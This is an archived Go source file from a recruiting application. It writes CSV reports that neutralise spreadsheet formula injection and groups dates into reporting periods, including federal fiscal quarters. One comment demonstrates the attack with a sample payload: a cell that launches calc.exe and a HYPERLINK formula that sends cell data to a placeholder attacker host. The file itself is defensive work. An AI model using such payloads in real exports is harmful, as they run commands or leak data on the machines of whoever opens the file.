Janady13/missionmatch / internal/modules/recruiting/report_csv.go

Source identity

Field	Recorded value
Source type	GitHub source
Original record	Janady13/missionmatch / internal/modules/recruiting/report_csv.go
Date	Not specified in source
Repository	Janady13/missionmatch
Revision	720d47fae476b0d38477ae4401697d372b1ea2bc
Branch	feature/opportunity-to-outcome
Path or archive member	internal/modules/recruiting/report_csv.go
Original SHA-256	f8b1b9cbc0cc47fe20d56385d4895a1c94cfe9741fd096909e53cfb184b24fd3
Git blob SHA	3727fb56200947496331428cb6042bbfb22fa77e
Reading-copy SHA-256	f8b1b9cbc0cc47fe20d56385d4895a1c94cfe9741fd096909e53cfb184b24fd3

Original source ↗

Every recorded occurrence

These 2 records contain identical original source bytes. Their paths and revisions remain part of the archive.

Original record	Branch or archive	Revision / identifier	Original location
Janady13/missionmatch / internal/modules/recruiting/report_csv.go	feature/opportunity-to-outcome	720d47fae476b0d38477ae4401697d372b1ea2bc	Open original
Janady13/missionmatch / internal/modules/recruiting/report_csv.go	feature/aioe-upgrade	2178e7298d0e5d9af83afa12402fd587f0ba6ed8	Open original

Recovered source transcript

Download complete source text ↓154 lines · 5.4 KB

package recruiting

import (
	"bytes"
	"encoding/csv"
	"time"

	"github.com/missionworkforce/missionmatch/internal/platform/csvsafe"
)

// CSV writing that is safe to open.
//
// encoding/csv implements RFC 4180 correctly: it quotes fields containing commas, quotes or newlines.
// It does NOT defend against formula injection, and nothing in this codebase did either. Verified
// against the existing slate export before this file was written:
//
//	Rank,Candidate,Reviewer Note
//	1,=cmd|'/c calc.exe'!A1,"=HYPERLINK(""http://evil.test?d=""&A1,""Click"")"
//
// Both cells execute when the file is opened in Excel or Google Sheets. Candidate names arrive from
// parsed resumes and reviewer notes are typed by users, so the attacker controlled string reaches a
// spreadsheet the CLIENT opens. That is the whole exploit: the recruiting firm exports a slate, emails
// it, and the customer's machine runs it.
//
// The mitigation is to prefix a cell that begins with a formula trigger so the spreadsheet treats it as
// text. The subtlety, and the part most implementations get wrong, is that '-' also begins every
// negative number: escaping it unconditionally corrupts every rate, margin and variance in the file.

// csvCell delegates to the shared guard, so these exports and the slate export cannot drift apart on
// what counts as dangerous. The tests in this package exercise it through this entry point, which is the
// one the report writer actually calls.
func csvCell(s string) string { return csvsafe.Cell(s) }

// csvBuilder writes a report. Every cell goes through csvCell, so a caller cannot forget.
type csvBuilder struct {
	buf bytes.Buffer
	w   *csv.Writer
	n   int
}

func newCSV() *csvBuilder {
	b := &csvBuilder{}
	b.w = csv.NewWriter(&b.buf)
	return b
}

func (b *csvBuilder) row(cells ...string) {
	safe := make([]string, len(cells))
	for i, c := range cells {
		safe[i] = csvCell(c)
	}
	_ = b.w.Write(safe)
	b.n++
}

func (b *csvBuilder) String() string {
	b.w.Flush()
	return b.buf.String()
}

// Rows counts data rows written, header included, so the export audit records the size of what left.
func (b *csvBuilder) Rows() int { return b.n }

// ---------------------------------------------------------------------------
// Period bucketing
// ---------------------------------------------------------------------------

// Period is a reporting grain.
type Period string

const (
	PeriodDay     Period = "day"
	PeriodWeek    Period = "week"
	PeriodMonth   Period = "month"
	PeriodQuarter Period = "quarter"
	// PeriodFiscalQuarter is the US FEDERAL fiscal quarter, which begins on 1 October, not 1 January.
	//
	// This product serves federal contracting. A customer's Q1 is October through December, their budget
	// cycles on it, and a report labelled Q1 that means January through March describes a different three
	// months than the one they are being asked about. Offering only calendar quarters would be silently
	// wrong for every user of this product.
	PeriodFiscalQuarter Period = "fiscal_quarter"
)

var periods = map[Period]bool{
	PeriodDay: true, PeriodWeek: true, PeriodMonth: true,
	PeriodQuarter: true, PeriodFiscalQuarter: true,
}

// periodExpr returns the SQL that buckets a timestamptz column into the given grain, in the
// organization's timezone.
//
// The timezone conversion is not decoration. Migration 0057 exists because an 8pm Eastern event is the
// next day in UTC, so bucketing without it puts evening work in the wrong day, the wrong week and,
// twice a year, the wrong month.
//
// Weeks use date_trunc('week'), which is ISO: they begin on Monday. Stated rather than assumed, because
// a report that silently starts weeks on Sunday cannot be reconciled with one that does not.
func periodExpr(col string, p Period) string {
	local := "(" + col + " AT TIME ZONE rm_org_tz())"
	switch p {
	case PeriodDay:
		return "date_trunc('day', " + local + ")::date"
	case PeriodWeek:
		return "date_trunc('week', " + local + ")::date"
	case PeriodMonth:
		return "date_trunc('month', " + local + ")::date"
	case PeriodQuarter:
		return "date_trunc('quarter', " + local + ")::date"
	case PeriodFiscalQuarter:
		// Shift forward three months so October becomes the start of a quarter, truncate, then shift
		// back. The result is the real calendar date the federal quarter began.
		return "(date_trunc('quarter', " + local + " + interval '3 months') - interval '3 months')::date"
	}
	return "date_trunc('day', " + local + ")::date"
}

// fiscalLabel names a federal fiscal period from the calendar date it starts on.
//
// The federal fiscal year is named for the calendar year it ENDS in, so 1 October 2025 begins FY2026.
// Getting that backwards mislabels every quarter by a year, and it is the single most common mistake in
// federal reporting.
func fiscalLabel(start time.Time) string {
	y, m := start.Year(), start.Month()
	fy, q := y, 0
	switch {
	case m >= time.October:
		fy, q = y+1, 1
	case m >= time.July:
		q = 4
	case m >= time.April:
		q = 3
	default:
		q = 2
	}
	return "FY" + itoa(fy) + " Q" + itoa(q)
}

// periodLabel renders a bucket start for a human.
func periodLabel(start time.Time, p Period) string {
	switch p {
	case PeriodWeek:
		return "Week of " + start.Format("2006-01-02")
	case PeriodMonth:
		return start.Format("January 2006")
	case PeriodQuarter:
		return "Q" + itoa(int((start.Month()-1)/3)+1) + " " + itoa(start.Year())
	case PeriodFiscalQuarter:
		return fiscalLabel(start)
	default:
		return start.Format("2006-01-02")
	}
}